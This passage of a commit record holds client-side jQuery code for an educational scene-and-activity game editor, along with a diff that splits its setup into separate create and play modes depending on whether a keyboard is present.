} else {
console.log( '!!! keyboard not present !!!' );
}
});
function setupAfterCallsReturns() {
console.log("currentScene:",currentScene);
if ( initialCallsReturned == initialCallsShouldReturn ){
if ( currentScene != null ){
var currentSceneType = currentScene.sceneType;
loadElementsByScene(currentScene.elements);
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
$(".elements").show();
$(".schoolbagImage").show();
$(".draggable").tooltip({disabled: false});
$("#storylineButton").show();
} else {
choseSceneFromSceneChooser();
}
}
}
function choseSceneFromSceneChooser() {
$(".img-grid").on("dblclick", "img", initialDoubleClickSceneAddingFunction);
}
function initialDoubleClickSceneAddingFunction(e){
var sceneTypeId = e.target.getAttribute('name');
var currentSceneType = null;
for ( key in sceneTypes ){
var sceneType = sceneTypes[key];
if ( sceneType.sceneTypeId == sceneTypeId ){
currentSceneType = sceneType;
break;
}
}
if ( currentSceneType != null ){
$.ajax({
type: "POST",
url: "/api/scene",
data: {
game_id: gameId,
scenetype_id: currentSceneType.sceneTypeId,
is_initial_scene: true
},
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
sceneList.push(response);
currentScene = response;
currentScene.objectList = new ObjectList();
currentObjectList = currentScene.objectList;
currentGame.initialSceneId = currentScene.sceneId;
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
$("#newWorldButton").hide();
$(".elements").show();
$(".schoolbagImage").show();
$(".draggable").tooltip({disabled: false});
$("#storylineButton").show();
$("#newWorldDialog").dialog("close");
$(".img-grid").off("dblclick", "img", initialDoubleClickSceneAddingFunction);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
function addSceneToGame(){
$(".img-grid").on("dblclick", "img", doubleClickSceneAddingFunction);
}
function doubleClickSceneAddingFunction(e){
console.log("getting here");
var sceneTypeId = e.target.getAttribute('name');
var currentSceneType = null;
for ( key in sceneTypes ){
var sceneType = sceneTypes[key];
if ( sceneType.sceneTypeId == sceneTypeId ){
currentSceneType = sceneType;
break;
}
}
if ( currentSceneType != null ){
$.ajax({
type: "POST",
url: "/api/scene",
data: {
game_id: gameId,
scenetype_id: currentSceneType.sceneTypeId,
},
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var scene = response;
scene.objectList = new ObjectList();
console.log(scene);
sceneList.push(scene);
currentDialog.sceneIndex = response.sceneId;
$(".img-grid").off("dblclick", "img", doubleClickSceneAddingFunction);
addSceneToElement(currentDialog,getActionTypeByName("TO_SCENE"));
$("#newWorldDialog").dialog("close");
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
function loadSelectedScene(scene){
currentScene = scene;
currentObjectList = currentScene.objectList;
var currentSceneType = currentScene.sceneType;
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
removeElementsFromView();
getUpdatedElements(function(error,success){
if(error){ console.log("Failed to get Updated Scenes:" + error); return;}
if(success){
loadElementsByScene(currentScene.elements);
}
});
console.log(sceneList);
}
function saveElements(){
//Save call for database
for(var i = 0; i < currentObjectList.objectList.length; i++){
var temp = currentObjectList.objectList[i];
var elemId = temp.element_id;
if (temp.element_id < 0){
$.ajax({
type: "POST",
url: "/api/element/?",
data: {
element_type_id: temp.elementType_id,
frame_x : temp.div.offsetParent.offsetLeft,
frame_y : temp.div.offsetParent.offsetTop,
frame_width: temp.div.offsetParent.offsetWidth,
frame_height : temp.div.offsetParent.offsetHeight,
scene_id: currentScene.sceneId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("new element: ", response)
temp.element_id = response.elementId;
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
//update
else{
$.ajax({
type: "POST",
url: "/api/element/" +elemId,
data: {
element_type_id: temp.elementType_id,
frame_x : temp.div.offsetParent.offsetLeft,
frame_y : temp.div.offsetParent.offsetTop,
frame_width: temp.div.offsetParent.offsetWidth,
frame_height : temp.div.offsetParent.offsetHeight,
scene_id: currentScene.sceneId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("updated element: ",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('update element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
}
function deleteElementById(elementId){
$.ajax({
type: "DELETE",
url: "/api/element/" +elementId,
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted element: ",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('update element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
function loadElementsByScene(elements){
for(element in elements){
var elem = elements[element];
var elementType = getElementTypeById(elem.elementTypeId);
var elementTypeId = elementType.elementTypeId;
var url = elementType.avatar.url;
var name = url.split(".")[0];
name = name.split("/").slice(-1).toString();
$("<div></div>").html("<div class =\"elements ui-draggable\" id=\"" + elementTypeId + "\" style=\"display:block;\">" +
"<img width=\"" + elem.frameWidth + "\" height=\"" + elem.frameHeight +
"\" src=\"" + url +"\"" + "name = \"" + name + "\">" +
"</img></div>")
.css({
"position": "absolute",
"top": elem.frameY,
"left": elem.frameX,
}).appendTo(".draggable").draggable({
containment:"parent"
}).removeClass("ui-draggable").toggleClass("element");
}
var temp = document.getElementsByClassName("element");
// console.log(temp);
if(currentObjectList.objectList.length>0){
currentObjectList.objectList.length = 0;
}
for (var i = 0; i < temp.length ; i++) {
// console.log(temp[i]);
// console.log(temp[i].children[0].children[0]);
var target = temp[i].children[0].children[0];
// console.log("");
var dia = new Dialog(target,elements[i].elementTypeId);
dia.element_id = elements[i].elementId;
dia.elementType_id = elements[i].elementTypeId;
for (var j = 0; j < elements[i].actionTypes.length; j++) {
if(elements[i].actionTypes[j].name.localeCompare("TO_ACTIVITY") == 0){
var activityId = elements[i].actionTypes[j].data;
addActivityByIdToElement(target,dia,activityId,function(error,success){
if(error){ console.log("error thrown" + error); return;}
if(success){
console.log("added existing activity to the element");
}
return;
});
}
if(elements[i].actionTypes[j].name.localeCompare("DIALOG") == 0){
console.log("adding existing dialog to the element");
dia.dialogData = elements[i].actionTypes[j].data;
dia.dialogChecked = true;
$(target).on("click", dialogFunction);
dia.dialogClickActionMade = true;
}
if(elements[i].actionTypes[j].name.localeCompare("ANIMATION") == 0){
console.log("adding the existing animation to the element");
dia.animationIndex = parseInt(elements[i].actionTypes[j].data);
dia.animationChecked = true;
$(target).on("click", animationFunction);
dia.animationClickActionMade = true;
}
if(elements[i].actionTypes[j].name.localeCompare("TO_SCENE") == 0){
console.log("adding the existing scene to the element");
dia.sceneIndex = parseInt(elements[i].actionTypes[j].data);
dia.sceneChecked = true;
$(target).on("click", sceneFunction);
dia.sceneClickActionMade = true;
}
};
currentDialog = dia;
currentObjectList.objectList.push(dia);
};
console.log("current Scene with elements loaded", currentScene);
}
function removeElementsFromView(){
$(".element").remove();
}
function saveActivityByElementId(activityIndex,activityObject,elementID){
//Create
if(activityObject.activity_id<0){
if(activityIndex == 0){
$.ajax({
type: "POST",
url: "/api/activity/",
data: {
activity_type: "MATH",
element_id: elementID,
numbers_range_from: activityObject.lowestNumber,
numbers_range_to: activityObject.highestNumber,
n_operands: activityObject.operandsCount,
operators: getActiveOperators(activityObject),
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log(response);
activityObject.activity_id = response.activityId;
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, "", textStatus, "", errorThrown);
},
dataType: "json"
});
}
else if(activityIndex == 2){
$.ajax({
type: "POST",
url: "/api/activity/",
data: {
questions: activityObject.questions,
activity_type: "QUIZ",
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
//console.log(response);
activityObject.activity_id = response.activityId;
console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
//Update
else{
if(activityIndex == 0){
$.ajax({
type: "POST",
url: "/api/activity/" + activityObject.activity_id,
data: {
activity_type: "MATH",
element_id: elementID,
numbers_range_from: activityObject.lowestNumber,
numbers_range_to: activityObject.highestNumber,
n_operands: activityObject.operandsCount,
operators: getActiveOperators(activityObject),
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, "", textStatus, "", errorThrown);
},
dataType: "json"
});
}
else if(activityIndex == 2){
$.ajax({
type: "POST",
url: "/api/activity/" + activityObject.activity_id,
data: {
questions: activityObject.questions,
activity_type: "QUIZ",
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
//console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
}
function addActivityByIdToElement(target,dialogObject,activityID,callBack){
$.ajax({
type: "GET",
url: "/api/activity/" + activityID,
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var error = response.error;
if(response.activityType.localeCompare("MATH") == 0){
var mathObject = new MathActivity(response);
dialogObject.activityObject = mathObject;
dialogObject.activityIndex = 0;
dialogObject.activityChecked = true;
console.log("math load");
$(target).on("click", mathActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);}
//TODO
if(response.activityType.localeCompare("LANGUAGE") == 0){
dialogObject.activityObject = null; //create new language object based on database stored object and attach
dialogObject.activityIndex = 1;
dialogObject.activityChecked = true;
console.log("lang load");
$(target).on("click", languageActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);
}
//TODO
if(response.activityType.localeCompare("QUIZ") == 0){
dialogObject.activityObject = new QuizActivity(response);
dialogObject.activityIndex = 2;
dialogObject.activityChecked = true;
console.log("quiz load");
$(target).on("click", quizActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);
}
else{
return callBack(error,false);
}
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get activity error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function deleteActivityByIdFromElement(elementID,activityID){
$.ajax({
type: "DELETE",
url: "/api/activity/" + activityID,
data:{
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted Activity", response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('delete activity error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addDialogDataToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.dialogData,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added dialog action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post dialog error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addAnimationToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.animationIndex,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added Animation action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post animation error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addSceneToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.sceneIndex,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added Scene action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function deleteActionTypeFromElement(dialogObject,actionType){
$.ajax({
type: "DELETE",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted action",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('Delete actionType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getActionTypes(){
$.ajax({
type: "GET",
url: "/api/actiontype",
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("ActionTypes",response);
actionTypes = response;
}
initialCallsReturned++;
setupAfterCallsReturns();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get activityType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getElementTypes(){
$.ajax({
type: "GET",
url: "/api/elementtype",
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("ElementTypes",response);
elementTypes = response;
}
initialCallsReturned++;
setupAfterCallsReturns();
loadElementTypesIntoSideBar();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get elementType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getActionTypeByName(nameString){
for (var i = 0; i < actionTypes.length; i++) {
if(actionTypes[i].name.localeCompare(nameString) == 0)
return actionTypes[i];
};
}
function getElementTypeById(elementTypeId){
for (key in elementTypes){
if(elementTypes[key].elementTypeId == elementTypeId){
return elementTypes[key];
}
}
}
function getSceneTypes(){
$.ajax({
type: "GET",
url: "/api/scenetype",
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
sceneTypes = response;
var newWorldDialog = $("#newWorldDialog"),
imageGrid = newWorldDialog.find('.img-grid');
var html = '';
for ( key in response ){
var scenetype = response[key];
var div = '<div class="img-wrapper img-wrapper1"><div class="img-container">';
div += '<img name="' + scenetype.sceneTypeId + '" src="' + scenetype.backgroundAvatar.url + '" width ="200" height="200">';
div += '</div></div>';
html += div;
}
imageGrid.html(html);
}
initialCallsReturned++;
setupAfterCallsReturns();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get scenetype error:', textStatus, errorThrown);
},
dataType: "json"
});
}
function getGame(){
$.ajax({
type: "GET",
url: '/api/game/' + gameId,
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
currentGame = response;
if ( currentGame.scenes.length == 0){
$("#newWorldButton").show();
} else {
$("#newWorldButton").hide();
if (currentGame.initialSceneId != null){
for ( key in currentGame.scenes ){
var scene = currentGame.scenes[key];
scene.objectList = new ObjectList();
sceneList.push(scene);
if ( scene.sceneId == currentGame.initialSceneId ){
currentScene = scene;
currentObjectList = currentScene.objectList;
}
}
}
}
initialCallsReturned++;
setupAfterCallsReturns();
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get game error:', textStatus, errorThrown);
}
});
}
function getUpdatedElements(callBack){
$.ajax({
type: "GET",
url: '/api/game/' + gameId,
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var error = response.error;
currentGame = response;
for ( key in currentGame.scenes ){
sceneList[key].elements.length = 0;
var scene = currentGame.scenes[key];
sceneList[key].elements = scene.elements;
}
console.log(sceneList);
return callBack(error,true);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get game error:', textStatus, errorThrown);
return callBack(error,false);
}
});
}
function getSceneById(sceneId){
for (var i = 0; i < sceneList.length; i++) {
if(sceneList[i].sceneId == sceneId)
return sceneList[i];
};
}
function loadElementTypesIntoSideBar(){
var sidebar = $("#customSidebar");
var html = '';
for (var i = 0; i < elementTypes.length; i++) {
var elementTypeId = elementTypes[i].elementTypeId;
var url = elementTypes[i].avatar.url;
var name = elementTypes[i].avatar.url;
name = name.split(".")[0];
name = name.split("/").slice(-1).toString();
// console.log(name);
var div = '<div class="elements" id="'+elementTypeId+'">';
div += '<img name="' + name + '" src="' + url + '" width ="100" height="150">';
div += '</div>';
html += div;
};
sidebar.html(html);
$(".elements").hide();
$(".elements").draggable({
revert:"invalid",
helper:"clone",
cursor:"move",
containment:"document",
connectWith: "#mainFrame",
});
} | play and create mode
| server/public/js/elementInteraction.js | play and create mode | <ide><path>erver/public/js/elementInteraction.js
<ide>
<ide> var actionTypes = null;
<ide> var elementTypes = null;
<add>
<add>var keyboardPresent = false;
<ide>
<ide> function ObjectList(){
<ide> this.objectList = [];
<ide> $(".draggable").tooltip({disabled: true});
<ide> $(".schoolbagImage").hide();
<ide>
<add> getActionTypes();
<add> getElementTypes();
<add> getSceneTypes();
<add> getGame();
<add>
<add> keyboardPresent = $( '#keyboardPresent' ).html();
<add>
<add> console.log(keyboardPresent);
<add>
<add> if ( keyboardPresent ){
<add> console.log('!!! keyboard present !!!');
<add> keyboardPresent = true;
<add> } else {
<add> console.log( '!!! keyboard not present !!!' );
<add> keyboardPresent = false;
<add> }
<add>});
<add>
<add>function setupAfterCallsReturns() {
<add> console.log("currentScene:",currentScene);
<add> if ( initialCallsReturned == initialCallsShouldReturn ){
<add> if ( currentScene != null ){
<add> var currentSceneType = currentScene.sceneType;
<add> loadElementsByScene(currentScene.elements);
<add> var imgUrl = currentSceneType.backgroundAvatar.url;
<add> $("#mainFrame").css({
<add> "background-image": "url('"+ imgUrl + "')",
<add> "background-repeat": "no-repeat",
<add> "background-position": "center",
<add> "background-size": "cover"
<add> });
<add> if(keyboardPresent){
<add> createMode();
<add> }
<add> else{
<add> playMode();
<add> }
<add> } else {
<add> choseSceneFromSceneChooser();
<add> }
<add> }
<add>}
<add>
<add>function playMode(){
<add>
<add>}
<add>
<add>function createMode(){
<add> $(".elements").show();
<add> $(".schoolbagImage").show();
<add> $(".draggable").tooltip({disabled: false});
<add> $("#storylineButton").show();
<add>
<ide> $(".schoolbagImage").on("click", function(){
<ide> $(".schoolbagDialog").dialog({
<ide> resizable: false,
<ide> }).removeClass("ui-draggable").toggleClass("element");
<ide> }
<ide> });
<del>
<del>
<add>
<ide> $(".draggable").on("contextmenu rightclick",".element",function(e){
<ide> e.preventDefault();
<ide>
<ide> runAnimationEffect(currentDialog);
<ide> return false;
<ide> });
<del>
<del>
<del> getActionTypes();
<del> getElementTypes();
<del> getSceneTypes();
<del> getGame();
<del>
<del> var keyboardPresent = $( '#keyboardPresent' ).html();
<del>
<del> console.log(keyboardPresent);
<del>
<del> if ( keyboardPresent ){
<del> console.log('!!! keyboard present !!!');
<del> } else {
<del> console.log( '!!! keyboard not present !!!' );
<del> }
<del>});
<del>
<del>function setupAfterCallsReturns() {
<del> console.log("currentScene:",currentScene);
<del> if ( initialCallsReturned == initialCallsShouldReturn ){
<del> if ( currentScene != null ){
<del> var currentSceneType = currentScene.sceneType;
<del> loadElementsByScene(currentScene.elements);
<del> var imgUrl = currentSceneType.backgroundAvatar.url;
<del> $("#mainFrame").css({
<del> "background-image": "url('"+ imgUrl + "')",
<del> "background-repeat": "no-repeat",
<del> "background-position": "center",
<del> "background-size": "cover"
<del> });
<del>
<del> $(".elements").show();
<del> $(".schoolbagImage").show();
<del> $(".draggable").tooltip({disabled: false});
<del> $("#storylineButton").show();
<del> } else {
<del> choseSceneFromSceneChooser();
<del> }
<del> }
<ide> }
<ide>
<ide> function choseSceneFromSceneChooser() {
<ide> "background-size": "cover"
<ide> });
<ide> $("#newWorldButton").hide();
<del> $(".elements").show();
<del> $(".schoolbagImage").show();
<del> $(".draggable").tooltip({disabled: false});
<del> $("#storylineButton").show();
<add> createMode();
<ide> $("#newWorldDialog").dialog("close");
<ide> $(".img-grid").off("dblclick", "img", initialDoubleClickSceneAddingFunction);
<ide> } |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.